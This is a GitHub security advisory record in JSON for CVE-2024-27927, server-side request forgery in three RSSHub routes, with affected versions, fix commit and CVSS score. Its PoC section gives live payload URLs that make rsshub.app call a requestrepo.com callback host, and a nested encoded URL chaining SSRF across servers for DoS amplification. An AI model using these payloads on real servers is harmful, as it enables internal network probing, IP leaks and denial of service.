CVE-2024-27927: Rsshub RSSHub Vulnerable To Server-Side Request Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3p3p-cgj7-vgw3",
  "modified" : "2024-03-21T18:25:36Z",
  "published" : "2024-03-06T17:03:11Z",
  "aliases" : [ "CVE-2024-27927" ],
  "summary" : "RSSHub vulnerable to Server-Side Request Forgery",
  "details" : "### Summary\n\nServeral Server-Side Request Forgery (SSRF) vulnerabilities in RSSHub allow remote attackers to use the server as a proxy to send HTTP GET requests to arbitrary targets and retrieve information in the internal network or conduct Denial-of-Service (DoS) attacks.\n\n### Details\n\n#### `/mastodon/acct/:acct/statuses/:only_media?`\n\nhttps://github.com/DIYgod/RSSHub/blob/5928c5db2472e101c2f5c3bafed77a2f72edd40a/lib/routes/mastodon/acct.js#L4-L7\n\nhttps://github.com/DIYgod/RSSHub/blob/5928c5db2472e101c2f5c3bafed77a2f72edd40a/lib/routes/mastodon/utils.js#L85-L105\n\n#### `/zjol/paper/:id?`\n\nhttps://github.com/DIYgod/RSSHub/blob/172f6cfd2b69ea6affdbdedf61e6dde1671f3796/lib/routes/zjol/paper.js#L7-L13\n\n#### `/m4/:id?/:category*`\n\nhttps://github.com/DIYgod/RSSHub/blob/172f6cfd2b69ea6affdbdedf61e6dde1671f3796/lib/routes/m4/index.js#L10-L14\n\n### PoC\n\n- https://rsshub.app/mastodon/acct/test@a6wt15r2.requestrepo.com%23/statuses\n- https://rsshub.app/zjol/paper/a6wt15r2.requestrepo.com%23\n- https://rsshub.app/m4/a6wt15r2.requestrepo.com%23/test\n\n### Impact\n\nThe attacker can send malicious requests to a RSSHub server, to make the server send HTTP GET requests to arbitrary destinations and see partial responses. This may lead to:\n\n1. Leak the server IP address, which could be hidden behind a CDN.\n2. Retrieve information in the internal network. e.g. which addresses/ports are accessible, the titles and meta descriptions of HTML pages.\n3. DoS amplification. The attacker could request the server to download some large files, or chain several SSRF requests in a single attacker request: `https://rsshub.a.com/zjol/paper/rsshub.b.net%2Fzjol%2Fpaper%2Frsshub.a.com%252Fzjol%252Fpaper%252Frsshub.b.net%25252Fzjol%25252Fpaper%25252Frsshub.a.com%2525252Fzjol%2525252Fpaper%2525252Fexample.com%2525252523%25252523%252523%2523%23`.\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "rsshub"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.0-master.a429472"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/DIYgod/RSSHub/security/advisories/GHSA-3p3p-cgj7-vgw3"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-27927"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/DIYgod/RSSHub/commit/a42947231104a9ec3436fc52cedb31740c9a7069"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/DIYgod/RSSHub"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/DIYgod/RSSHub/blob/172f6cfd2b69ea6affdbdedf61e6dde1671f3796/lib/routes/m4/index.js#L10-L14"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/DIYgod/RSSHub/blob/172f6cfd2b69ea6affdbdedf61e6dde1671f3796/lib/routes/zjol/paper.js#L7-L13"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/DIYgod/RSSHub/blob/5928c5db2472e101c2f5c3bafed77a2f72edd40a/lib/routes/mastodon/acct.js#L4-L7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/DIYgod/RSSHub/blob/5928c5db2472e101c2f5c3bafed77a2f72edd40a/lib/routes/mastodon/utils.js#L85-L105"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-03-06T17:03:11Z",
    "nvd_published_at" : "2024-03-21T02:52:21Z"
  }
}